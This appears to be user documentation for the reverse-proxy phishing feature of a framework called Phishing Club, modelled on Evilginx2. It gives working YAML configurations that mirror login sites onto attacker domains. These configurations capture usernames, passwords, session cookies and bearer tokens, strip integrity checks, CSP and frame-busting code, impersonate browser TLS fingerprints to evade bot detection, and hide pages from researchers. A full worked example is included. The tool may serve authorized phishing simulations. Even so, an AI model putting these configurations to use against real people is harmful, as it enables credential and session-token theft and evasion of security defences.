The Proxy feature enables man-in-the-middle attacks by mirroring websites, capturing credentials and session data, and modifying content in real-time. Traffic is intercepted and proxied through your controlled domains while maintaining the appearance of the legitimate website. Each proxy requires a name, start URL (must be a valid, full URL), and YAML configuration.
Proxies can be used for simple domain mirroring and content modification without requiring campaigns. For example, you might proxy a website just to change branding or test modifications:
version: "0.0"
example.com:
to: example.phishingclub.test
rewrite:
- name: example rewrite
find: Example
replace: Phishing Club
This feature implementation is highly inspired by Evilginx2, the industry-standard and most well-known man-in-the-middle attack framework. We also highly recommend Evilginx 👑 for dedicated reverse proxy phishing framework.
Domain proxies work by intercepting, modifying and capturing data from a requests and responses.
Proxies can be used both for just mirror and modifying domains, and for use in phishing pages designed to capture credentials, sessions tokens or etc.
A YAML configuration describes multiple domains, with rules for how they map to phishing domains, rewrite rules, access rules, response rules and capture rules.
When creating a proxy, the following validation rules apply:
The start URL must match one of the domains defined in your YAML configuration to ensure proper session initialization.
Proxy behavior is defined using YAML configuration.
version: "0.0" # Configuration version (optional) proxy: "127.0.0.1:8080" # Upstream proxy server (optional) global: # Rules applied to ALL domains # ... rules here target-domain.com: # Domain to intercept to: "your-domain.com" # Your phishing domain # ... domain-specific rules
| Field | Required | Description | Example |
|---|---|---|---|
to | Yes | Your phishing domain that will serve the proxied content | to: "evil.com" |
TLS configuration controls certificate management for your proxy domains. By default, all domains use managed Let's Encrypt certificates.
tls: mode: "managed" # "managed" (default) or "self-signed"
| Parameter | Required | Values | Description |
|---|---|---|---|
mode | No | managed, self-signed | Certificate management mode (default: managed) |
# Global TLS configuration (applies to all domains)
global:
tls:
mode: "managed"
# Per-domain TLS override
example.com:
to: "phishing.com"
tls:
mode: "self-signed" # override global setting for this domain
Browser impersonation uses pre-built browser profiles to make proxy requests with valid TLS fingerprints, HTTP/2 settings, and header ordering that match real browsers. The proxy detects the client's browser type and platform from the user-agent, then selects a matching profile to use when making requests to target servers. This helps bypass bot detection and fingerprinting systems.
impersonate: enabled: true # enable browser impersonation (default: false) retain_ua: false # retain client's user-agent (default: false)
| Parameter | Required | Values | Description |
|---|---|---|---|
enabled | No | true, false | Enable browser impersonation (default: false) |
retain_ua | No | true, false | Keep the original client's user-agent instead of using impersonated one (default: false) |
When impersonation is enabled, the proxy:
By default, when impersonation is enabled, the proxy uses the user-agent from the impersonation profile. This ensures complete consistency between the user-agent, TLS fingerprint, and HTTP/2 settings.
Setting retain_ua: true preserves the original client's user-agent header while still
applying the profile's TLS and HTTP/2 characteristics. This can provide a positive signal to target
servers - they see a valid TLS fingerprint combined with a real user's user-agent, which often
matches expected browser behavior and may help evade detection.
# Global impersonation (applies to all domains)
global:
impersonate:
enabled: true
retain_ua: false
# Per-domain impersonation override
example.com:
to: "phishing.com"
impersonate:
enabled: true
retain_ua: true # keep original user-agent for this domain
retain_ua: true, combine real
user-agents with valid TLS fingerprints for better evasionResponse rules are use to overwrite a response
response:
- path: "^/api/health$" # regex path
status: 200 # http status code (default: 200)
headers: # headers for the response
Content-Type: "application/json"
body: '{"status": "ok"}' # response body
forward: true # should the request be forwarded to the target domain
| Parameter | Required | Values | Description |
|---|---|---|---|
path | Yes | Regex that matches one or more paths | |
status | No | 100-599 | HTTP status code for the response (default: 200) |
headers | No | Headers to include in the response | |
body | No | Body of the response | |
forward | No | true or false | If the request that matches the path, should be proxied to the target domain (default: false) |
Capture rules extract data from HTTP traffic. All captures must complete before cookie bundles are submitted.
capture:
- name: "username" # Unique identifier for this capture
method: "POST" # HTTP method to monitor
path: "/login" # URL path pattern (regex)
find: "username=([^\&]+)" # Regex pattern to extract data
from: "request_body" # Where to look for data
required: true # Must complete for session success
| Parameter | Required | Values | Description |
|---|---|---|---|
name | Yes | Any string | Unique identifier for organizing captured data |
method | No | GET, POST, PUT, DELETE, etc. | HTTP method to monitor (default: any) |
path | Yes | Regex pattern | URL path pattern to match |
find | Yes* | Regex or cookie name | Pattern to extract data or cookie name if from=cookie (not required for path-based navigation tracking) |
from | No | request_body, request_header, response_body, response_header, cookie, any | Where to search for the data (default: any) |
required | No | true, false | Whether capture must succeed (default: true) |
# Capture form data - name: "credentials" method: "POST" path: "/auth" find: "username=([^&]+).*password=([^&]+)" from: "request_body" # Capture session cookie - name: "session" path: "/dashboard" find: "SESSIONID" from: "cookie" # Capture API token from header - name: "api_token" find: "Authorization: Bearer ([A-Za-z0-9\\-_]+)" from: "header" # Capture any request to secure area - name: "logged_in" path: "/secure" from: "any"
Rewrite rules modify content during proxy sessions to bypass security or customize appearance. Two engines are available: regex (default) for text pattern matching, and DOM for precise HTML manipulation.
rewrite: - name: "disable_csp" # Rule identifier engine: "regex" # "regex" (default) or "dom" find: "integrity=" # Regex pattern or CSS selector replace: "data-integrity=" # Replacement text from: "response_body" # Where to apply changes
| Parameter | Required | Values | Description |
|---|---|---|---|
name | No | Any string | Identifier for the rewrite rule |
engine | No | regex, dom | Processing engine (default: regex) |
find | Yes | Regex pattern or CSS selector | Pattern to search for (regex) or elements to select (DOM) |
replace | Yes* | Any string | Replacement text (not used with DOM remove action) |
action | No | setText, setHtml, setAttr, removeAttr, addClass, removeClass, remove | DOM action to perform (DOM engine only) |
target | No | first, last, all, 1,3,5, 2-4 | Which matched elements to target (DOM engine only, default: all) |
from | No | request_body, response_body | Where to apply changes (default: response_body) |
# Remove security attributes with regex - name: "bypass_integrity" engine: "regex" find: "integrity=" replace: "data-integrity=" from: "response_body" # Modify branding - name: "custom_title" find: "Company Portal" replace: "Secure Login"
# Change text content of all h1 elements - name: "modify_headings" engine: "dom" find: "h1" action: "setText" replace: "Secure Portal" target: "all" # Remove specific attributes from first form - name: "remove_csrf" engine: "dom" find: "form" action: "removeAttr" replace: "data-csrf-token" target: "first" # Add CSS class to all login buttons - name: "style_buttons" engine: "dom" find: ".login-btn" action: "addClass" replace: "custom-style"
URL rewrite rules modify request URLs, allowing you to change paths and query parameters before they reach the target server.
rewrite_urls: - find: "/old-path" # Regex pattern to match path replace: "/new-path" # Replacement path query: # Query parameter mapping - find: "old_param" replace: "new_param" filter: ["keep_this"] # Parameters to keep (optional)
| Parameter | Required | Description |
|---|---|---|
find | Yes | Regex pattern to match request path |
replace | Yes | Replacement path |
query | No | Array of query parameter mappings |
filter | No | Query parameters to keep (if empty, keep all) |
# Rewrite API paths for anti-detection - find: "^/api/v2/" replace: "/api/v1/" # Change authentication endpoints and parameters - find: "^/auth/login" replace: "/login" query: - find: "redirect_uri" replace: "return_url" - find: "client_id" replace: "app_id" filter: ["return_url", "app_id"] # Only keep these parameters
When proxies are used in campaigns, IP and JA4 fingerprint filtering is automatically applied based on the campaign's configured filters. This provides an additional layer of access control beyond the proxy's own access rules.
Filtering works by checking both the client's IP address and TLS fingerprint (JA4) against allow/deny lists configured in the campaign. For more information about configuring filters, see the Filtering guide.
JA4 fingerprints support wildcard patterns (e.g., t13d*_*_*) to match partial
fingerprints, enabling flexible filtering based on TLS characteristics.
Access control rules control who can access your proxy domains. By default, all proxies use "private" by default. To change a proxy to always allow all traffic, set it to "public".
access: mode: "private" # "public" or "private" (default: private) on_deny: "404" # Response when access is denied
| Parameter | Values | Description |
|---|---|---|
mode | public, private | Access control mode |
on_deny | HTTP status, "redirect:URL" | Response when access is denied (only applies to private mode) |
on_deny parameter is ignored in public mode.Default behavior: If no access control is specified, private mode is used
with a 404 response for denied requests.
# Default private mode with 404 response access: mode: "private" on_deny: "404" # Private mode with redirect to legitimate site access: mode: "private" on_deny: "redirect:https://legitimate-site.com" # Public mode for allowing full proxying without limitations access: mode: "public"
Global rules apply to ALL domains in the configuration. Access rules are completely overridden if a domain defines its own access rules, but capture and rewrite rules are merged with domain-specific rules.
global: capture: - name: "global_tracker" path: "/track" from: "any" rewrite: - name: "universal_csp_bypass" find: "integrity=" replace: "data-integrity=" rewrite_urls: - find: "/common-path" replace: "/new-path" response: - path: "^/favicon\\.ico$" body: "base64:AAABAAEAEBAAAAEAIABoBAAAFgAAA..." headers: Content-Type: "image/x-icon" access: mode: "private" # Default access mode for all domains on_deny: "404"
Important: If any domain defines its own access rules, those rules completely replace the global access rules for that domain only. Global capture, rewrite, rewrite_urls, and response rules are always applied alongside domain-specific ones.
Here is a complete configuration for a typical login portal with modern features:
version: "0.0"
proxy: "127.0.0.1:8080" # Optional upstream proxy
global:
tls:
mode: "managed" # Use Let's Encrypt for all domains
access:
mode: "private" # Default secure mode for all domains
on_deny: "404"
response:
- path: "^/favicon\\.ico$"
status: 200
body: "base64:AAABAAEAEBAAAAEAIABoBAAAFgAAA..."
headers:
Content-Type: "image/x-icon"
forward: false
the-internet.herokuapp.com:
to: "theinternet.evil.com"
tls:
mode: "managed" # Can override global TLS setting per-domain
capture:
- name: "credentials"
method: "POST"
path: "/authenticate"
find: "username=([^&]+)&password=([^&]+)"
from: "request_body"
required: true
- name: "session_cookie"
method: "POST"
path: "/authenticate"
find: "rack.session"
from: "cookie"
required: true
rewrite:
- name: "remove_csp"
engine: "regex"
find: "Content-Security-Policy"
replace: "X-Disabled-CSP"
from: "response_body"
- name: "modify_title"
engine: "dom"
find: "title"
action: "setText"
replace: "Secure Login Portal"
rewrite_urls:
- find: "/annoying-flag/"
replace: "/t-rex/stay/hidden"
response:
- path: "^/health$"
status: 200
body: '{"status": "ok"}'
headers:
Content-Type: "application/json"
forward: false
Domains defined in your proxy configuration are automatically created in the domains section. These proxy domains:
Here are practical regex patterns for common proxy operations. Test your patterns at regex101.com with the Golang flavor enabled.
# Match exact path path: "^/login$" # Match path beginning with path: "^/api/" # Match any path containing path: ".*admin.*" # Match multiple specific paths path: "^/(login|auth|signin)$" # Match file extensions path: "\\.(?:css|js|png|jpg|gif)$"
# Basic form data capture (handles last field without &) find: "username=([^&]*)" find: "password=([^&]*)" find: "email=([^&]*)" # Multiple form fields in one capture find: "username=([^&]+).*?password=([^&]*)" # More robust form capture (handles any order) find: "(?:^|&)username=([^&]*)" find: "(?:^|&)password=([^&]*)" # JSON data capture find: '"username"\s*:\s*"([^"]+)"' find: '"token"\s*:\s*"([^"]+)"' # Basic Auth header find: "Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)" # Bearer token find: "Authorization:\s*Bearer\s+([A-Za-z0-9\-_\.]+)" # Cookie capture (just use cookie name) find: "SESSIONID" # when from: "cookie" find: "auth_token" # when from: "cookie"
Content rewritting can be done with regex or using the dom engine.
The default engine is regex. The dom engine uses the
goquery library so it is
possible to use JQuery/CSS like selectors to select specific DOM nodes and a
action attribute to choose what action you wish to do with the selected nodes.
Examples with the regex engine
# Remove integrity attributes (CSP bypass) find: "integrity=" replace: "data-no-integrity=" # Remove frame busting (basic) find: "top\.location\s*[!=]=\s*self\.location" replace: "false" # Remove frame busting (advanced) find: "(?:(?:window\.)?(?:top|parent|self)(?:\.(?:window|location|document))*\s*[!=]+\s*(?:window\.)?(?:top|parent|self)(?:\.(?:window|location|document))*)" replace: "false" # Remove target="_top" from forms find: "target=\"_top\"" replace: "" # Replace specific domains in JavaScript find: "https://login\.microsoft\.com" replace: "https://login.evil.com" # Modify user agent strings find: "User-Agent: ([^\r\n]*)" replace: "User-Agent: Custom-Agent/1.0"
Examples with the dom engine
# Add CSS class
engine: 'dom'
action: 'setClass'
find: ".warning"
replace: "hidden"
# Remove content
engine: 'dom'
action: 'remove'
find: ".warning"
# Remove attribute
engine: 'dom'
action: 'removeAttr'
find: ".warning"
replace: "required"
# Remove CSS class
engine: 'dom'
action: 'removeClass'
find: ".warning"
replace: ".warning"
# Set attribute
engine: 'dom'
action: 'setAttr'
find: ".warning"
replace: "value:admin"
# Set content
engine: 'dom'
action: 'setText'
find: ".warning"
replace: "Hello World"
# Set HTML
engine: 'dom'
action: 'setHtml'
find: ".warning"
replace: "<script>alert('hello')</script>"
More complex patterns for challenging scenarios:
# Complex script removal - name: "remove_complex_script" find: "script type=\"text/javascript\" nonce='[^']*'.*?var e=window.*?/script" replace: "script>document.body && (document.body.style.display=\"block\");/script" from: "response_body" # Multi-field form capture - name: "login_data" method: "POST" path: "/auth" find: "username=([^&]+)&password=([^&]+)" from: "request_body" # Session token from response - name: "session_token" method: "POST" path: "/login" find: '"session":"([^"]+)"' from: "response_body"
# Block all requests except resources unless you have a session
access:
mode: "allow"
paths:
- "\.(?:css|js|png|jpg|gif|ico)$" # Allow common resource files
- "^/(?:static|assets)/" # Allow resource directories
on_deny:
with_session: "allow" # Let users with session access everything
without_session: "404" # Block bots/researchers
# Block homepage unless you have a session
access:
mode: "deny"
paths:
- "^/$" # Block homepage only
on_deny:
with_session: "allow" # Let legitimate targets through
without_session: "404" # Hide from casual browsing